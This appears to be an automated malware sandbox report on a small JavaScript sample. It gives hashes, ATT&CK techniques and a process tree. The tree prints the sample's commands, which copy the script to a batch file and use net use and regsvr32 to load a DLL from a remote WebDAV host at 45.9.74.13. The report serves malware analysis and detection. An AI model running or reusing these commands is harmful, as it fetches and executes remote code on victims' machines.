74b5f928771e6ac1852673d3f4cef8dc0394d9db2cf18ef45e38945ccc9415d5

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
09-07-2024 01:30

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General

Target

74b5f928771e6ac1852673d3f4cef8dc0394d9db2cf18ef45e38945ccc9415d5.js
Size

5KB
MD5

dd53dc9b2f0614b36cfe026b755ec56f
SHA1

b7454adb2e91d8d6ee4fbb9419459b73476a55f5
SHA256

74b5f928771e6ac1852673d3f4cef8dc0394d9db2cf18ef45e38945ccc9415d5
SHA512

ef45252445841eaf69f44dc23e2fa3145e82346191a303375739302247c3c329ea9672641f1d6d00162d08037af710b5149966e16d95117c03472885333ca2c7
SSDEEP

96:b+tjtlGJTTT/EJTTTrT9zT5lPvNruTCtKPXGdZqKq+t4qwv6qvPkt6qvq:yyhEHzNldb0Is6n6nkZS

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2668	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 2364	2204	wscript.exe	30
PID 2204 wrote to memory of 2364	2204	wscript.exe	30
PID 2204 wrote to memory of 2364	2204	wscript.exe	30
PID 2364 wrote to memory of 2776	2364	cmd.exe	32
PID 2364 wrote to memory of 2776	2364	cmd.exe	32
PID 2364 wrote to memory of 2776	2364	cmd.exe	32
PID 2364 wrote to memory of 2668	2364	cmd.exe	33
PID 2364 wrote to memory of 2668	2364	cmd.exe	33
PID 2364 wrote to memory of 2668	2364	cmd.exe	33
PID 2364 wrote to memory of 2668	2364	cmd.exe	33
PID 2364 wrote to memory of 2668	2364	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\74b5f928771e6ac1852673d3f4cef8dc0394d9db2cf18ef45e38945ccc9415d5.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\74b5f928771e6ac1852673d3f4cef8dc0394d9db2cf18ef45e38945ccc9415d5.js" "C:\Users\Admin\\yaxczv.bat" && "C:\Users\Admin\\yaxczv.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2776
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\679.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\yaxczv.bat

Filesize
5KB

MD5
dd53dc9b2f0614b36cfe026b755ec56f

SHA1
b7454adb2e91d8d6ee4fbb9419459b73476a55f5

SHA256
74b5f928771e6ac1852673d3f4cef8dc0394d9db2cf18ef45e38945ccc9415d5

SHA512
ef45252445841eaf69f44dc23e2fa3145e82346191a303375739302247c3c329ea9672641f1d6d00162d08037af710b5149966e16d95117c03472885333ca2c7

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